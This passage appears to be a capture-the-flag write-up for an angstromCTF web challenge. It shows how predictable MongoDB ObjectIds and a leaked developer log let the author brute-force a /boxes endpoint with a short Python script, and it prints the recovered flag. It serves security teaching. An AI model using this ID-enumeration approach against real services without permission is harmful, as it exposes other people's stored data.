* Connection #0 to host web.angstromctf.com left intact
From a simple web search, we can determine that the most common database integrations for NodeJS Express are MySQL and MongoDB. However, based on the structure of the IDs from the Javascript source, we have reason to believe that the server uses MongoDB and not MySQL.
Now, we must find how the "/boxes" page works. Let's send a request.
[email protected]:~$ curl http://web.angstromctf.com:7667/boxes
error
Well, that didn't work. Let's try specifying the "ids" parameter.
[email protected]:~$ curl http://web.angstromctf.com:7667/boxes?ids=1
number of ids does not equal 3
Okay, so we need exactly three IDs. Let's try again.
[email protected]:~$ curl http://web.angstromctf.com:7667/boxes?ids=1,2,3
{"boxes":[null,null,null]}
There we go. We seem to get a JSON reply where "boxes" is equal to the ids requested, and we can specify any IDs we want. Let's check how MongoDB creates its ids.
As we can see from this thread, MongoDB's ids are not random at all! Through the previous IDs, we already know the 3-byte machine identifier, the 2-byte process id, and the start of the 3-byte counter. However, we still don't know the time in which the item was added... or do we? Looking back at the HTML source, we can see that there is a '/log.txt' that includes notes on past developer actions.

The content of the /log.txt file is below:
Sat Aug 10 2017 10:23:17 GMT-0400 (EDT) - Initial website
Sat Aug 10 2017 14:54:07 GMT-0400 (EDT) - Database integration
Sat Aug 11 2017 14:08:54 GMT-0400 (EDT) - Make some changes to the text
Sat Mar 17 2018 16:24:17 GMT+0000 (UTC) - Add super secret flag to database
Now we have our timestamp! Through some more web searching, we notice that the first four MongoDB timestamp bytes can be calculated with "Math.floor(date / 1000).toString(16)". We take our time, conveniently in UTC, and convert it to the first four MongoDB bytes.
> var date = Date.parse('Sat Mar 17 2018 16:24:17 GMT+0000')
undefined
> Math.floor(date / 1000).toString(16)
'5aad4131'
Now, we combine our timestamp with the machine identifier and process ID. However, the hint does say that the database is "huge", and therefore, we aren't sure how many entries have been added before the flag. However, let's assume (for now) that it affects less than 1 byte of the counter. We create a Python script to bruteforce entries meeting our requirements.

import sys;
import urllib2;
import itertools;

templateString = 'http://web.angstromctf.com:7667/boxes?ids=';
unknownChars = 2;

sys.stderr.write("Tried ___");
for i in itertools.permutations('0123456789abcdef', unknownChars):
	if int(''.join(i), 16) >= int('d0', 16):
		response = urllib2.urlopen('http://web.angstromctf.com:7667/boxes?ids=0,0,5aad4131e07e1e001cfce6' + ''.join(i))
		html = response.read()
		if '[null,null,null]' not in html:
			print '\n'+html;
		sys.stderr.write("\rTried %s" % ''.join(i));
Let's run it!
[email protected]:~/Downloads$ python2 test.py
Tried d4_
{"boxes":[null,null,{"_id":"5aad4131e07e1e001cfce6d5","data":"actf{0bj3ct_ids_ar3nt_s3cr3ts}","__v":0}]}
Tried e1^C
And there's our flag! Looks like we didn't really need to bruteforce the counter after all. Oops.